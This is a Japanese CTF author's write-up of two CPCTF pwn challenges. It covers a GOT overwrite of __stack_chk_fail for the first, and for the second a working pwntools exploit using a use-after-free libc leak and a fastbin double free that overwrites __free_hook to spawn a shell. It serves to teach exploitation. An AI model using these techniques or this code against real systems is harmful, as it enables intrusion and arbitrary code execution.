こんにちは 19BのImperiです。traPではCTF班、algorithm班に入っています。
この記事は5/1に行われたCPCTFの作問者writeupになっています。
作問した問題
Pwn
- Add anywhere
- heap challenge
writeup
Add anywhere
難易度:medium
正答者数
ヒントなし | ヒント1 | ヒント2 | ヒント3 |
---|---|---|---|
7 | 1 | 0 | 1 |
#include <stdio.h>
#include <stdlib.h>
void win(){
system("cat /home/user/flag");
}
int main(){
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
void *addr = NULL;
short num = 0;
char comment[20];
puts("You can add a little value to any addr!");
printf("addr> ");
scanf("%p",&addr);
printf("val> ");
scanf("%hd",&num);
* (short *)addr += num;
puts("Any comment?");
scanf("%28s",comment);
return 0;
}
問題概要
配布されたバイナリ本体を実行すると、アドレスと値を聞かれそのアドレスに値を足す処理が走ります。main.cを読むとwin関数を呼べばフラグが出力されるようです。
解説
まず普通に実行するとmain関数からwin関数は呼ばれることがないため、どうにかして実行フローをwin関数に持っていく必要があります。
そのような状況のときに用いられる方法としてリターンアドレスの書き換えとGOT overwriteといった手法が挙げられます。
まずリターンアドレスの書き換えを考えると、最後の0x20bytes分のcommentに対して0x28文字分の入力をしているところが気になります。しかし今回のバイナリではStack Smashing Protector(以下SSP)というセキュリティ機構が入っているため、ここからリターンアドレスの書き換えをすることは難しいです。SSPは関数を呼び出す際に"カナリア"というランダムな値をstackに載せておき、関数からreturnする直前にカナリアの値が変化しているかチェックすることでリターンアドレスの書き換えを検知するという機構です。
次にGOT overwriteを考えると、このバイナリでは"Partial RELRO"です。これはざっくり説明すると、共有ライブラリの関数について初めて呼び出すときに関数のアドレスを調べ、そのアドレスをGOTと呼ばれる領域に保存する仕組みです。Partial RELROではGOTに書き込みが行える状態であるため、このアドレスを書き換えることで別の関数に処理を飛ばすことができます。
GOT overwriteが有効だと分かりましたがどの関数のGOTを書き換えるかが次の壁です。アドレスの加算のときのGOTの状態を調べると
このようになっています。putsやprintfのように一度呼び出された関数は既に共有ライブラリ内のアドレスを指しているため、少しの加算(減算)ではwin関数のアドレス0x4011d6にはなりません。system関数はそもそもmain関数から呼ばれないため、ここを書き換えても意味がありません。
ということで残った候補は__stack_chk_fail関数になりました。この関数は何か調べてみると、上で述べたSSPにおいてカナリアの書き換えが検出されたときに呼ばれる関数だということが分かります。つまり__stack_chk_failのGOTをwin関数に書き換えた上で最後のcomment入力においてカナリアを書き換えるまで入力を行うと、無事win関数に処理が飛びます。
具体的には
- addr: 0x404020(__stack_chk_failのGOT)
- val: 406 ( 0x4011d6 - 0x401040 )
- comment: 28文字
と入力すれば...
フラグがゲットできます!
感想
GOT overwriteについて知っていれば上記の推測で行けるかな~と思って作問しました。ただGOT知らないと割とどうしようもない気がしていて、ヒントも当たり障りのないことしか書いてなかったのでもうちょっと上手いやり方があったかもしれないですね…
heap challenge
難易度: Hard
正答者数
ヒントなし | ヒント1 | ヒント2 | ヒント3 |
---|---|---|---|
1 | 0 | 0 | 1 |
問題ソースファイル
#include <stdio.h>
#include <stdlib.h>
typedef struct {
unsigned long len;
char *content;
} Message;
Message *msg[10];
int get_int(){
char buf[10];
int num;
fgets(buf,10,stdin);
num = atoi(buf);
return num;
}
void menu(){
puts("1. new");
puts("2. edit");
puts("3. show");
puts("4. delete");
}
void new(){
printf("index> ");
int index = get_int();
if(index < 0 || 10 <= index){
puts("invalid index");
return;
}
msg[index] = malloc(sizeof(Message));
printf("msg_len> ");
int len = get_int();
if(len <= 0){
puts("invalid length");
return;
}
msg[index]->len = len;
msg[index]->content = malloc(len);
printf("content> ");
fgets(msg[index]->content,len,stdin);
}
void edit() {
printf("index> ");
int index = get_int();
if(index < 0 || 10 <= index){
puts("invalid index");
return;
}
if(!msg[index]){
puts("empty msg");
return;
}
free(msg[index]->content);
printf("new_len> ");
int new_len = get_int();
if(new_len <= 0){
puts("invalid length");
return;
}
msg[index]->len = new_len;
msg[index]->content = malloc(new_len);
printf("new_content> ");
fgets(msg[index]->content,msg[index]->len,stdin);
}
void show() {
printf("index> ");
int index = get_int();
if(index < 0 || 10 <= index){
puts("invalid index");
return;
}
if(!msg[index]){
puts("empty msg");
return;
}
puts(msg[index]->content);
}
void delete() {
printf("index> ");
int index = get_int();
if(index < 0 || 10 <= index){
puts("invalid index");
return;
}
if(!msg[index]){
puts("empty msg");
return;
}
free(msg[index]->content);
free(msg[index]);
}
int main() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
while(1){
menu();
printf("> ");
int choice = get_int();
switch(choice) {
case 1:
new();
break;
case 2:
edit();
break;
case 3:
show();
break;
case 4:
delete();
break;
default:
exit(0);
break;
}
}
return 0;
}
問題概要
メモの新規作成、編集、表示、削除ができるバイナリです。
解説
最初にバイナリの脆弱性を挙げると edit関数のこの箇所です。
free(msg[index]->content);
printf("new_len> ");
int new_len = get_int();
if(new_len <= 0){
puts("invalid length");
return;
}
ここでは最初に msg->content
をfreeしていますが、ここでnew_len=-1を入力すると直後のif文でreturnしてしまいfreeした msg->content
のポインタがそのままになります。この状態でshowを選べばUAF(read)が出来ますし、もう一度editを選びnew_len=-1を入力すればdouble freeにも繋がります。
libc leak
まずlibc leakですがUAFを利用します。glibcでは一定サイズ以上のmalloc&freeを行うと内部でunsorted binという区分で管理されます。これはfreeしたチャンクを双方向連結リストで管理するもので、freeしたチャンクが一個の状態だとチャンクのfdはlibcのmain_arena内のアドレスを指します。よって
- 十分大きなサイズのnew
- editでnew_len = -1を入力
- show
というような流れでlibc leakを行うことができます。なお実際にはtopと隣接しているunsorted binは併合されてしまうため、間に別のメモをnewすることでtopと隣接しないようにする工夫が必要です。
double free
次にdouble freeで任意アドレス書き込み -> free_hookの書き換えを狙います。今回はglibc2.31での実行となるためmalloc&freeの際に様々なチェックが走ります。tcacheのdouble freeが使われることが多いですが、glibc2.31では単純に同じtcacheチャンクに2回freeしても検出されてabortされてしまいます。これを回避するためにtcacheを埋めてfast binにチャンクを送る工夫が必要になります。fast binでは先頭以外であればdouble freeが通ります。fast binでdouble freeをした後、mallocを繰り返してdouble freeでループ状になったチャンクを操作できるようになれば任意アドレス書き込みが行えます。libc leakは既に出来ているためここでfree_hookをsystem関数などに置き換えれば system("/bin/sh")
としてシェルを実行することができます。
以下が↑を実装したスクリプトです
PoC
from pwn import *
context.arch='amd64'
io = process('./heap_chal')
#io = remote('heap-challenge.cpctf.space',30018)
libc = ELF('./libc.so.6')
#gdb.attach(io,'''
#b *main+107
#''')
def new(index,len,content)->None:
io.sendlineafter(b'> ',str(1).encode())
io.sendlineafter(b'index> ',str(index).encode())
io.sendlineafter(b'msg_len> ',str(len).encode())
io.sendlineafter(b'content> ',content)
def edit(index,new_len,content) -> None:
io.sendlineafter(b'> ',str(2).encode())
io.sendlineafter(b'index> ',str(index).encode())
io.sendlineafter(b'new_len> ',str(new_len).encode())
io.sendlineafter(b'new_content> ',content)
def edit_error(index,new_len) -> None:
io.sendlineafter(b'> ',str(2).encode())
io.sendlineafter(b'index> ',str(index).encode())
io.sendlineafter(b'new_len> ',str(new_len).encode())
def show(index)->bytes:
io.sendlineafter(b'> ',str(3).encode())
io.sendlineafter(b'index> ',str(index).encode())
return io.recvline()
def delete(index)->None:
io.sendlineafter(b'> ',str(4).encode())
io.sendlineafter(b'index> ',str(index).encode())
new(0,0x500,b'for leak')
new(1,30,b'prevent consolidation')
edit_error(0,-1)
leak = show(0).rstrip()
libc_addr = u64(leak+ b'\x00'*2) - 0x7f523ad45be0 + 0x7f523ab59000
log.info(hex(libc_addr))
new(8,30,b'test')
new(9,30,b'test')
new(2,10,b'tcache')
new(3,10,b'tcache')
new(4,10,b'tcache')
new(5,30,b'tcache')
edit(8,10,b'test')
edit(9,10,b'test')
log.info("allocate")
delete(2)
delete(3)
delete(4)
delete(5)
log.info("fill tcache")
edit_error(8,-1)
edit_error(9,-1)
edit_error(8,-1)
log.info("fastbins double free")
new(2,10,b'tcache')
new(3,10,b'tcache')
new(4,10,b'tcache')
new(5,30,b'tcache')
log.info("tcache realloc")
edit(5,10,p64(libc_addr + libc.symbols['__free_hook']))
new(2,10,b'test')
edit(1,10,p64(libc_addr + libc.symbols['system']))
log.info("free_hook overwrite")
new(2,10,b'/bin/sh')
delete(2)
io.interactive()
感想
シンプルなheap問を作ろうとして元々はUAF(write)が出来るような形だったはずが、edit関数を変更するうちに今の形になりました。あとdelete関数のfree後にNULL代入してない脆弱性は使わなくても解ける形になっていたので、それなら修正しておくべきだったかなと思います。ここで時間を使っていたら申し訳ないです。
作問の感想
Pwnは初めての作問だったんですが、とにかく自然な形に落とし込むのが難しかったです。結局Add anywhereは脆弱性丸見えの形になりましたし、heap challengeも結構変更の跡が見えてそう... 次作問するときはもっといい問題作れるようになりたいです。あと問題数増やして正答者数の崖を解消したい...
最後に
参加していただいた皆さん、本当にありがとうございました!